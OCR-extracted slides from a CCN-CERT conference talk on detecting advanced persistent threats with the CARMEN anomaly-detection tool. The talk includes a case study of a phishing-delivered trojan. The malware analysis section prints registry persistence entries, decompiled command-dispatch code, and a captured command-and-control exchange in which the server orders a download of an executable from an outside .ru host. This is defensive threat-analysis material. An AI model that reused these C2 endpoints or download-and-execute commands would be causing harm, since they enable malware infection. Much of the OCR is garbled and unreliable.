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CARMEN

« APT: Amenaza Persistente Avanzada

» Enfoque Proactivo
o Proteccion
o Deteccion temprana
o Respuesta rapida
o Malware avanzado
» Enfoque Reactivo
o Busqueda de Anomalias
o Analisis de comportamiento
o CARMEN como herramienta para el analista

DEA: Deteccion de Anomalias
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Mejora Continua: Prevencién CA R M E N
cJ

Asignacion Contencion (= Cierre
== Notificacion
Notificacion S ad r
. egurida 1

At Cliente A \f)
CAU Escalado »- Soporte Técnico
Call centers Seguridad Informe
Sop_orte_ técnico Soporte —
Aud|t9r|a Técnico =
Autoridades... ==

Cualquiera!

! Registro

Resolucion: = —
* Recoleccién de datos = Bl EE
x 2 - B

‘. + Anadlisis técnico -,

VIP
Correo @

Teléfono Respuesta coordinada :
: X Seguridad
Seguridad, Soporte Técnico, RRHH
comunicacion, Atencion Asesoria
cliente, CAUs Auditoria

Mejora Continua: Reaccion
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CARMEN

Zona de Red 1 O‘ Comprobacion de I0C
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Volumetria

* 544.000.000 comunicaciones HTTP
* 364.340.000 peticiones DNS

* 569.000 correos electrénicos

*Datos mensuales
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CARMEN

« Estrategia

» Malware sin relacion con APT

o Rapidez en la deteccion

o Respuesta eficiente

o Resiliencia

o Mejora en los controles de seguridad
» Malware relacionado con APT

o Observar y aprender
Mejorar los reflejos
Objetivo 1: atribucidon y motivacion
Objetivo 2: gue no nos lo tengan que volver a repetir

O O O

www.ccn-cert.cni.es 12



coN-certT X JORNADAS STIC CCN-CERT

centro criptologico nacional

Indice

cCorreos
CARMEN

Conclusiones

WWwWWw.ccn-cert.cni.es 13



coN-cert X JORNADAS STIC CCN-CERT

centro criptologico nacional

Caso Practico: deteccion de anomalia

Eventdate: 16-09-07 19:04:09
+ Dimensions
Source IP; A 10.7 Code result; 503
Host = || Nofinclion S
Destination IP: A 1921 MIME type: texthtmil; charset=utf-8
+ Conditions HTTP method: POST Bytes Transmitted: 11958
HTTF mefhod = | Equals - X Host XA .com Bytes Received: 359
POET I AN Hierarchy: Response time: 184
HTTF mefhod = | Diflerent - X RFC931: Protocol: http
BET I AND Useragent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
HTTP metnod - | Cifere r|x URL  http/s com/is4/gate.php?BUILD=&GUID=147519320334043680928INFO= +%40+CORREOS%50 &IP=11 JETYPE=18WIN=6.1%28x64%29
HEAD | i
HTTP metod = || Dimarent T % @ Domain
PUT | oo
Domain o® dot.com
HTTP method = || Diflerent -
DELETE | o Words in
HTTP method = | Difierent v domainname
TRACE | o
Date creation 2016-08-01
HTTP methad = || Diflerent - X%
COMNECT Web age 2 months
4 Parameters IP Address 95, - 1227
IP Geolocation g Russian Federation, Saint Petersburg City, Saint Petersburg

www.ccn-cert.cni.es 14
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Caso Practico: via de infeccion y forense

07 Sep 2016 17:57:57 (GMT +02:00) MID: 242109062 Show Details
marie@ i irestaurant, net

SEND

e 2
Re:Re:Re: payment

Message 242109062 top x ST received remote SMTP res:
& payment_6077463571.doc

& Editor del Registro Nombre del fichero Hash MD5
Archivo Edicion  Ver Favoritos  Ayuda
| Visual Basic “ || Nembre Tipe Datos i
Lowag ab)(Predeterminado) REG.SZ velor no esteblecido) WinHost32.exe 8d3bbcf3b950aclaa7de65a65dbch24e
o be Service Providers BB winHost32 REG_SZ Ci\Users. = WinHost32,exe
b wis
k Windows el Res
4|, CurrentVersion Archivo Edicion Ver Favoritos Ayuda
b+ Ju Action Center 3
umbers || Nombre Tipo Datos
- o Applets & ;
..J\ Controls Folder 9 ?b_' (Predeterminado) RE... (valor no establecido)
)i Controls Folder (Wi 99 ab| C:A\MICRO\Comun\Software Corporativo\Cambia_Reso\Cambia_Reso.exe RE.. Cambiador de Resolucion de Pantalla
b Ji Device Metadata :IVL ab) C:\MICRO\Comun\Software Corporativo\Inf ionPChinf ionpe.exe RE.. InformacionPC Propert:'r Value
I~y Explorer ab) C:\MICRO\Comun\Software Corporativo\Proxy\proxy.exe RE... proxy
tml \ 2 3 - - .
b Bt ek ab] C:\PROGRA~2\MICROS~2\Officel 4\OIS.EXE RE.. Microsoft Office 2010 File 0% Windows 32-bit
- Ju Extensions ebin 5] C:\Program Files (B6)\7-Zip\7zFM.exe RE... 7-Zip File Manager .
bl GroupPelicy [ | C:\Program Files (86)\Adobe\Reader 10.0\Reader\ AcroRd32.exe RE.. Adobe Reader File Type Executable
b - !—iomeGmup tml ah:‘ C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\VSLauncher.exe RE.. Microsoft Visual Studio Version Selector File Date n/a
by iIme bplications b} C:\Program Files (x86)\Google\Chrome\Application\chrome.exe RE.. Google Chrome
bl |"'t"!"et Settings | oo file 8] C:\Program Files (x86)\Microsoft Office\Officel4\EXCEL.EXE RE.. Microsoft Excel Com pa n}fN ame 5‘1!"” a pt| cossoft, C grpurati on.
vy Media Center | co it ab) C:\Program Files (486)\Microsoft Office\Officel4\MSPUBLEXE RE.. Microsoft Publisher . -
L :'I',C,“"' refoxURL ab) C:\Program Files (x86)\Microsoft Office\Officel4\POWERPNT.EXE RE.. Microsoft PowerPoint FileDescri ption ALdkH
b)) Policies " 51 CAPro Fil K ! i i .
bl ¢! gram Files (x86)\Microsoft Office\Officel4\WINWORD.EXE RE... Microsoft Word
: ';R::AR tp :\Program Files (x86)\Mozilla Firefox\firefox.exe RE.. Firefox FileVersion 3'20'1&'6
) ii RunOnce tps "?. :\Program Files (x86)\SAP\FrontEnd\sapgui\wwi\gimPT.exe RE.. GLM Print Tool LEg alC op],rri g ht C op],rri g ht 1999 - 2009
kerface' ab) C:\Program Files (x86)\Windows Media Player\wmplayer.exe RE.. Reproductor de Windows Media g :
2Plugin0172 28] C:\Program Files (86)\Windows NT\Accessories\WORDPAD.EXE RE.. WordPad iQriginalFilename wriwXMfz exe
vaPlugin.11452 b} C:\Pro Fi Wind. . PhotoVi Vicualizad Wind,
g abl C:\Program Files (x86)\ Photo Viewer\P dil RE... de fotos de .
:n_la:;Tfnle ab) C:\Program Files\Internet Explorer\iexplore.exe RE... Internet Explorer ProductVersion a'm'lﬂ'ﬁ
ical Settings R SR %
MuiCache ‘3._. C:\Prog: Ffles\ . NT\Acc WORDPAD.EXE RE... }IYordradJ . p de u CtN ame G FWGWFI‘N q
Software ab] C:\Program Files\Windows Photo Viewer\PhotoViewer.dll RE.. V de fotos de Windi . .
Rean ab RE.. XILdKH Language 1033 (English United States)
- ab) C'\\Mndov;rs\eHome\ehshell exe RE.. Windows Media Center
. Windows A >
= 1 .|, CurrentVersion {P C\windows\Explorer.exe RE... Explorador de Windows Code pE g = 1255
4.}) Shell Ab] C:\windows\system32\cryptext.dil RE.. Extensiones Crypto Shell
3 |, BagMRU "’:: C\windows\system32\mspaint.exe RE.. Paint
ARV iadaiat 2mmnTEnAn cve or o
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Caso Practico: analisis del malware

X JORNADAS STIC CCN-CERT

ilmmdl“t-—“”°1°°“mm0ﬂ1“t31-—nmm°*“” _text:00401FBC push offset aHttpGoogle com ; “http://google _com”
signed int result; // eax@2 -Eex::ggzg:g; cgﬁl Desca:gar_Paglna
.text: a esp,
}F ( *(BYTE =)(al + 1) == 58 ) _text:0@84@1FCY cnp eax, 1
switch ( *( BYTE *)al ) .text:88461FCC jnz short loc_A482082B
{ B _text:0804081FCE mouv eax, 1
case ‘r': ) _ . _text:a0401FD3 imul ecx, eax, B
::guitnisﬁe;wgaj]ECUta—BmanD((LPCSTR)(M 2; .text:00481FDO nousx edx, [ebp+ecx+Buffer]
break; .text:@88481FDE cmp ed®, '<°
case ‘1°: ) . _text:00401FE1 ijnz short loc 482028
|‘:guitngsga;n‘ga_DLL_e_]ecuta((LP[:STFI)(a1 23);  text:@O4B1FE3 nou pax, 1
break; .text:08401FES chl eax, @
case ‘b':
; .text:B0481FEB mousx ec®, [ebp+eax+Buffer]
*32 = t host{a1 + 2});
oL mistasvehostlal = 2) _text:BO4B1FF3 cnp ecx, ‘1
break; -text: @0401FF6 jnz short loc_48202B
case 'd': ) . _text:00401FF8 mov edx, 1
*32 = borra_fichero_8();
result = 13 .text:00481FFD shl edx, 1
break; .text:00401FFF movsx eax, [ebp+edx+Buffer]
case et . . . text: 80402067 cmp eax, ‘'d’
%37 = d F [T AWEE] By . ]
o e dar conflguraciontp N et /T4 /gate. php HTTP/L.1
break; Accept: */%
case 'n': Content-Type: application/x-www-form-urlencoded
S User-agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0 I
break; Host: ritbotohem.ru
default: Content-Length: 90
result = @3 cache-Control: no-cache
break;
3 g GUID=891117550910767112&BUILD=&TINFO=]I0HN-PC @ john-pc’ john&IF=8.8.8.8

ETYPE=1&WIN=6.1({x64)HTTP/1.1 200 OK

Date: Tue, 15 Nov 2016 17:13:08 GMT

server: Apache/2.4.10 (Debian)
Last-Modified: Tue, 15 Nowv 2016 17:08:57 GMT
ETag: "28-5415a030f0boz"

Accept-Ranges: bytes

Content-Length: 40

7c
ir:http://euro-tires.ru/instl. exe}
0
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CONCLUSIONES

« Buscar anomalias como servicio de
inteligencia. Lo mas importante es el
talento del analista.

« CARMEN es una buena herramienta
para el analista, pero no es (ni debe ser)
la Unica

« Es importante prever qué hacer si un dia
se localiza una Amenaza Persistente
Avanzada
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